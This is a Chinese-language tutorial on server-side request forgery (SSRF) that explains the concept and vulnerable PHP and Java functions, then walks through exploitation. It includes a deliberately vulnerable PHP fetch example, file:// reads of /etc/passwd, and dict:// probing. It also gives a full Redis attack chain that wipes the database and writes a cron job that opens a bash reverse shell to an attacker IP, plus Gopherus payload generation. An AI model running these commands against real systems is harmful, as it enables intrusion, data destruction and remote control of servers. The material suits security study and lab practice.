服务器端请求伪造之基本介绍

一.服务器端请求伪造漏洞基础

1.客户端请求

客户端请求指的是由客户端设备(如个人计算机、智能手机、平板电脑等)或软件(浏览器、各种APP)发出的请求,以获取指定的网页、图片、视频或其他资源。比如当用户在浏览器中输入URL或点击链接时,浏览器会自动发起HTTP请求,请求服务器返回指定的资源。

2.服务器端请求

服务器上的应用程序或服务会提供一些功能接口,比如API接口,用于与其他服务进行数据交互。这些由服务器向其他的服务器发起的请求称之为服务器端请求。

3.服务器端请求伪造

服务器端请求伪造(Server-side Request Forgery)简称SSRF,是指攻击者通过伪造服务器端请求,从而使服务器发起对第三方系统的攻击或访问。攻击者通常会使用受害者服务器上的应用程序作为代理来发起请求,以使请求看起来像是由服务器发起的。

4.漏洞危害
  1. 窃取数据:攻击者可以伪造请求以访问服务器内部网络或云环境中的其他服务或资源,以窃取敏感数据。
  2. 攻击第三方系统:攻击者可以伪造请求以攻击第三方系统,例如访问其他组织的敏感数据或执行拒绝
    服务攻击。
  3. 内部端口扫描:攻击者可以伪造请求以扫描服务器内部端口和服务,以寻找其他可能的漏洞。
  4. 获取指纹信息:通过获取 web 应用可达服务器服务的指纹信息。
5.漏洞函数

PHP相关函数:这些函数用于发出HTTP请求,包括常见的函数如curl_exec() 、file_get_contents()、fsockopen()。如果这些函数允许从用户输入中获取URL,但未正确验证和过滤用户输入,攻击者可以通过在URL中注入恶意代码来触发SSRF漏洞。

JAVA:仅支持 HTTP/HTTPS 协议的类:HttpClient 类、HttpURLConnection 类、 OkHttp 类、 Request
类,支持 sun.net.www.protocol 所有协议的类:URLConnection 类、URL 类、ImageIO 类

PHP漏洞相关函数
  1. curl_exec

    • 格式:curl_exec(resource $ch)​

      • ​$ch​:由 curl_init()​ 返回的 cURL​ 句柄。
      • 返回值:如果成功,返回 true​ 或响应内容;如果失败,返回 false​。
    • 作用:用于执行一个 cURL​ 会话。

      <?php
      // 初始化 cURL 会话
      $ch = curl_init();// 设置请求的 URL
      curl_setopt($ch, CURLOPT_URL, 'https://www.baidu.com');// 不输出响应内容,而是将其存储在变量中
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);// 忽略 SSL 验证
      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);// 执行 cURL 会话
      $response = curl_exec($ch);if ($response === false) {// 输出错误信息echo 'Curl 错误: '. curl_error($ch);
      } else {// 输出响应内容echo $response;
      }// 关闭 cURL 会话
      curl_close($ch);
      ?>
      
  2. file_get_contents

    • 格式:file_get_contents($filename,$use_include_path,$context,$offset,$maxlen)​

      • ​$filename​:要读取的文件名,可以是本地文件的路径,也可以是一个 URL(如果 allow_url_fopen​ 配置允许)。
      • ​$use_include_path​:可选,是否在 include_path​ 中搜索文件。
      • ​$context​:可选,一个有效的上下文资源,可以用来修改流的行为。
      • ​$offset​:可选,开始读取的偏移量。
      • ​$maxlen​:可选,读取的最大长度。
    • 作用:用于将整个文件读入一个字符串中。将整个文件或一个url所指向的文件读入一个字符串中。

      <?php
      // 检查是否通过 POST 方法提交了名为 'url' 的变量
      if(isset($_POST['url'])) 
      {// 如果 $_POST['url'] 存在,则使用 file_get_contents 函数读取该 URL 的内容,并将其存储在 $content 变量中$content = file_get_contents($_POST['url']); // 生成一个随机的文件名,文件名由 './images/' 加上 rand() 函数生成的随机数再加上 '.txt' 后缀组成,存储在 $filename 变量中$filename = './images/'.rand().'.txt'; // 将 $content 中的内容写入到 $filename 所指定的文件中file_put_contents($filename,$content); // 输出通过 POST 提交的 URLecho $_POST['url']; // 创建一个 <img> 元素,其 src 属性的值为 $filename,存储在 $img 变量中$img = "<img src=\"".$filename."\"/>"; 
      }
      // 输出 $img 变量的值,注意:如果 if 条件不满足,$img 可能未被赋值,会导致未定义变量的警告
      echo $img; 
      ?>
      
  3. fsockopen

    • 格式:fsockopen ($hostname, $port, $errno, $errstr, $timeout)

      • ​$hostname​:要连接的主机名或 IP 地址。
      • ​$port​:要连接的端口号,默认为 -1,需要根据具体协议指定。
      • ​$errno​:可选,将存储错误代码。
      • ​$errstr​:可选,将存储错误信息。
      • ​$timeout​:可选,连接超时时间,默认为 ini_get("default_socket_timeout")​。
    • 作用:用于打开一个网络或 Unix 套接字连接。

      <?php
      // 使用 fsockopen 函数尝试打开一个到 IP 地址为 170.39.16.134 的主机的 7771 端口的套接字连接
      // 同时将可能产生的错误代码存储在 $errno 变量中,错误信息存储在 $errstr 变量中,连接超时时间设置为 30 秒
      $fp = fsockopen("170.39.16.134", 7771, $errno, $errstr, 30); // 检查套接字连接是否成功,如果不成功则输出错误信息
      if (!$fp) { echo "$errstr ($errno)<br />\n"; 
      } else {// 构建一个 HTTP GET 请求的请求头信息,包括请求方法、请求的主机和连接关闭信息$out = "GET / HTTP/1.1\r\n"; $out.= "Host: 170.39.16.134\r\n"; $out.= "Connection: Close\r\n\r\n"; // 使用 fwrite 函数将构建好的请求信息发送到打开的套接字连接fwrite($fp, $out); // 使用 while 循环,当套接字连接没有到达文件末尾(即数据接收未完成)时,持续接收数据while (!feof($fp)) { // 使用 fgets 函数从套接字中读取最多 128 字节的数据并输出echo fgets($fp, 128); } // 关闭打开的套接字连接,释放资源fclose($fp); 
      }
      ?>
      
6.判断是否存在

在无回显(Blind)的SSRF攻击中,攻击者无法直接获取目标系统返回的响应,因此需要寻找一种方法来间接地确认攻击是否成功。

  1. DNSLog

    • 介绍:DNSLog是一种常用的间接确认方法,它通过向一个域名提交请求,然后查看DNS服务器的日志来获取该域名的请求记录,从而确认攻击是否成功。

    • 流程:

      1. 获取带有DNSLog服务地址的URL


      2. 使目标服务器对该URL进行请求


      3. 确认目标服务器对该URL进行了请求


二.服务器端请求伪造漏洞利用

1.读取敏感文件

通过file协议读取敏感文件

  • 格式:file://filepath
  • 作用:本地文件传输协议,用于访问本地计算机中的文件。
A.读取/etc/passwd
  • 介绍:在Linux 中 /etc/passwd文件中每个用户都有一个对应的记录行,它记录了这个用户的一些基本属性。系统管理员经常会接触到这个文件的修改以完成对用户的管理工作。


B.读取/etc/hosts
  • 介绍:hosts文件主要作用是定义IP地址和主机名的映射关系,是一个映射IP地址和主机名的规定。可以用文本文件打开!当用户在浏览器中输入一个网址时,系统会首先自动从hosts文件中寻找对应的IP地址,一旦找到,浏览器会立即打开对应网页,如果没有找到,则浏览器会将网址提交DNS服务器进行IP地址解析。简单来说就是负责ip地址与域名快速解析的文件,读取文件可以得到内网所在网段。


2.探测内网服务
通过dict协议探测内网服务
  • 格式:dict://

  • 作用:dict 协议是一个在线网络字典协议,这个协议是用来架设一个字典服务的。不过用的比较少,所以网上基本没啥资料(包括谷歌上)。在SSRF漏洞利用中,常常用来探测内网的应用信息。


    • 当探测到内网网段时,还可以对同C段其它的主机进行探测。
3.攻击内网应用
通过dict协议攻击内网Redis

Redis是一个key-value 存储系统,是跨平台的非关系型数据库。

Redis一般绑定在本地的6379端口上,如果在没有开启认证的情况下,可以导致任意用户利用ssrf漏洞
攻击内网中的未授权Redis以及读取Redis的数据。

攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 redis 的用户是 root 用户,
攻击者可以通过写定时任务的方式进行 反弹shell 。

  • 测试redis是否存在未授权访问漏洞:dict://ip:6379/info

    • 如果执行完出现信息则说明存在未授权访问。
A.定时任务反弹Shell
  • 定时任务目录

    • Centos:在/var/spool/cron/目录下
    • Ubuntu:在 /var/spool/cron/crontabs/ 目录下
  1. 判断服务器信息(file协议)

    • Centos:/etc/redhat-release
    • Ubuntu:/etc/lsb-release
  2. 在攻击主机监听一个端口,用以接收受害主机执行的定时任务所反弹回来的shell

    • 执行命令:nc -lvnp 1234

      PS:如果你的攻击目标是本地靶场,那攻击机可以使用ubuntu;如果攻击目标是公网服务器,则接收反弹shell的机器也需要是公网服务器。

  3. 在存在漏洞的网站依次执行

    #清空数据库(慎用)
    dict://127.0.0.1:6379/flushall

    #设置工作目录
    dict://127.0.0.1:6379/config set dir /var/spool/cron/

    #设置保存的文件名
    dict://127.0.0.1:6379/config set dbfilename root

    #设置变量x,如果你是在本地虚拟机ubuntu监听,则下方的ip也需要修改为ubuntu
    dict://127.0.0.1:6379/set x "\n*/2 * * * * bash -i &> /dev/tcp/攻击机ip/1234 0>&1\n"

    #保存
    dict://127.0.0.1:6379/save

  4. 执行完等待接收到反弹回来的shell即可。

通过gopher协议攻击内网应用

gopher 协议是比 http 协议更早出现的协议,现在已经不常用了,但是在 SSRF 漏洞利用中 gopher 可以说是万金油,因为可以使用 gopher 发送各种格式的请求包,可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。

gopher协议默认端口70,所以需要指定web端口,而且需要指定方法。数据部分需要进行url编码。回车换行使用%0d%0a

基本协议格式:URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流

  • Gopherus的运用

    • 项目地址:Gopherus下载地址

    • Gopherus的使用流程

      1. 执行命令:python gopherus.py --exploit redis

      2. 选择:ReverseShell(反弹shell)

      3. 填写攻击机的ip:120.17.57.138

        PS:攻击机需监听一个端口,比如监听 7771 端口

      4. 填写相应服务器的定时任务目录:/var/spool/cron/

      5. 复制生成的内容:从gopher开始复制,到0A结束。

      6. 修改复制的内容中的端口信息:默认为1234,修改为7771

      7. 使服务器对修改完的内容进行请求

      8. 执行完等待接收到反弹回来的shell即可。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/500851.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

akamai3.0反爬教程逆向分析9个视频汇总

目录 一、akamai2.0文章二、akamai3.0每月疑似改版点二、9个视频汇总如下 一、akamai2.0文章 文章1cookie反爬之akamai_2.0-上文章2cookie反爬之akamai_2.0-上文章3cookie反爬之akamai_2.0-上文章中akamai2.0对应调试html与js文件 二、akamai3.0每月疑似改版点 详细文字与2.…

2024年12月 Scratch 图形化(二级)真题解析#中国电子学会#全国青少年软件编程等级考试

Scratch图形化等级考试(1~4级)全部真题・点这里 一、单选题(共25题,共50分) 第 1 题 小猫初始位置和方向如下图所示,下面哪个选项能让小猫吃到老鼠?( ) A. B. C.

【74LS160+74LS273DW锁存器8位的使用频率计】2022-7-12

缘由 想知道这个数字频率计仿真哪里出现错误了&#xff0c;一直无法运行哎&#xff0c;如何解决&#xff1f;-运维-CSDN问答

系统思考—信任

《基业长青》作者指出&#xff1a;“在人生的重要十字路口&#xff0c;选择信任是一场赌注。信任带来的好处可能巨大&#xff0c;而失去信任的代价却相对有限。但如果选择不信任&#xff0c;最优秀的人才可能因失望而离开。” 在企业管理中&#xff0c;信任不仅是人际关系的纽…

推理加速:投机采样经典方法

一 SpecInfer 基于模型 SpecInfer&#xff08;[2305.09781] SpecInfer: Accelerating Generative Large Language Model Serving with Tree-based Speculative Inference and Verification&#xff09; SpecInfer 投机采样利用多个小型模型&#xff08;SSM&#xff09;快速生…

深入理解Java中的Set集合:特性、用法与常见操作指南

一、HashSet集合 1.HashSet集合的特点 2.HashSet常用方法 ①&#xff1a;add(Object o)&#xff1a;向Set集合中添加元素&#xff0c;不允许添加重复数据。 ②&#xff1a;size()&#xff1a;返回Set集合中的元素个数 ③.remove(Object o)&#xff1a; 删除Set集合中的obj对…

黑马Java面试教程_P10_设计模式

系列博客目录 文章目录 系列博客目录前言1. 工厂方法模式1.1 概述1.2 简单工厂模式1.2.1 结构1.2.2 实现1.2.3 优缺点 1.3 工厂方法模式1.3.1 概念1.3.2 结构1.3.3 实现1.3.4 优缺点 1.4 抽象工厂模式1.4.1 概念1.4.2 结构1.4.3 实现1.4.4 优缺点1.4.5 使用场景 总结&#xff0…

开源架构的容器化部署优化版

上三篇文章推荐&#xff1a; 开源架构的微服务架构实践优化版&#xff08;New&#xff09; 开源架构中的数据库选择优化版&#xff08;New&#xff09; 开源架构学习指南&#xff1a;文档与资源的智慧锦囊&#xff08;New&#xff09; 我管理的社区推荐&#xff1a;【青云交社区…

SpringCloudAlibaba实战入门之Sentinel服务降级和服务熔断(十五)

一、Sentinel概述 1、Sentinel是什么 随着微服务的流行,服务和服务之间的稳定性变得越来越重要。Sentinel 以流量为切入点,从流量控制、熔断降级、系统负载保护等多个维度保护服务的稳定性。 一句话概括:sentinel即Hystrix的替代品,官网: https://sentinelguard.io/zh…

【每日学点鸿蒙知识】导入cardEmulation、自定义装饰器、CallState状态码顺序、kv配置、签名文件配置

1、HarmonyOS 无法导入cardEmulation&#xff1f; 在工程entry mudule里的index.ets文件里导入cardEmulation失败 可以按照下面方式添加SystemCapability&#xff1b;在src/main/syscap.json(此文件需要手动创建&#xff09;中添加如下内容 {"devices": {"gen…

Datawhale AI冬令营(第二期)动手学AI Agent--Task3:学Agent工作流搭建,创作进阶Agent

目录 一、工作流&#xff1a;制作复杂Agent的福音&#xff01; 二、支付宝百宝箱中工作流介绍 三、设计工作流 3.1 准备功能模块 3.2组合工作流 3.3 模块测试需要注意什么 3.4迭代优化 四、高中学习小助手工作流设计 4.1 选题调研 4.2 功能模块设计 4.3 组合完整工作…

Postman[8] 断言

1.常见的断言类型 status code: code is 200 //检查返回的状态码是否为200 Response body&#xff1a; contain string //检查响应中包含指定字符串包含指定的值 response body:json value check/ /检查响应中其中json的值 Response body&#xff1a; is equal to string …

python openyxl 用法 教程

Python自动化办公&#xff1a;openpyxl教程(基础)-CSDN博客 https://zhuanlan.zhihu.com/p/342422919 https://openpyxl-chinese-docs.readthedocs.io/zh-cn/latest/tutorial.html 列标题&#xff0c;是这一列 对应的单元格的格式&#xff0c;默认是常规&#xff0c;设置之后…

深入解析 Wireshark 的 TLS 设置:应用场景与实操技巧

简述 在网络数据分析中&#xff0c;传输层安全&#xff08;TLS&#xff09;协议的流量解密和分析是一项重要的技能。Wireshark 提供了专门的设置选项&#xff0c;帮助用户处理 TLS 流量&#xff0c;例如解密会话、重组分片等。本文将详细解析上图所示的 Wireshark TLS 设置功能…

每天五分钟机器学习:凸集

本文重点 在SVM中,目标函数是一个凸函数,约束集合是一个凸集。因此,SVM问题可以转化为一个凸规划问题来求解。这使得SVM在实际应用中具有较高的计算效率和准确性。 凸集的定义 凸集是指一个集合中的任意两点之间的线段都完全包含在这个集合中。换句话说,给定集合C中的两…

stm32 智能语音电梯系统

做了个stm32智能语音控制的电梯模型&#xff0c;总结一下功能&#xff0c;源码用ST的HAL库写的&#xff0c;整体流程分明。 实物图 这个是整个板子的图片&#xff0c;逻辑其实并不复杂&#xff0c;只是功能比较多&#xff0c;在我看来都是一些冗余的功能&#xff0c;但也可能是…

AI 助力游戏开发中的常用算法实现

在当今的游戏开发领域&#xff0c;人工智能&#xff08;AI&#xff09;技术的应用已经成为推动行业发展的关键力量。AI不仅能够提升游戏的智能化水平&#xff0c;还能够增强玩家的沉浸感和游戏体验。随着技术的进步&#xff0c;AI在游戏设计、开发和测试中的应用越来越广泛&…

计算机的错误计算(一百九十九)

摘要 用大模型判断下面四个函数 有何关系&#xff1f;并计算它们在 x0.00024时的值&#xff0c;结果保留10位有效数字。两个大模型均认为它们是等价的。实际上&#xff0c;还有点瑕疵。关于计算函数值&#xff0c;大模型一只是纸上谈兵&#xff0c;没计算&#xff1b;大模型二…

HTML——57. type和name属性

<!DOCTYPE html> <html><head><meta charset"UTF-8"><title>type和name属性</title></head><body><!--1.input元素是最常用的表单控件--><!--2.input元素不仅可以在form标签内使用也可以在form标签外使用-…

基于SpringBoot和OAuth2,实现通过Github授权登录应用

基于SpringBoot和OAuth2&#xff0c;实现通过Github授权登录应用 文章目录 基于SpringBoot和OAuth2&#xff0c;实现通过Github授权登录应用0. 引言1. 创建Github应用2. 创建SpringBoot测试项目2.1 初始化项目2.2 设置配置文件信息2.3 创建Controller层2.4 创建Html页面 3. 启动…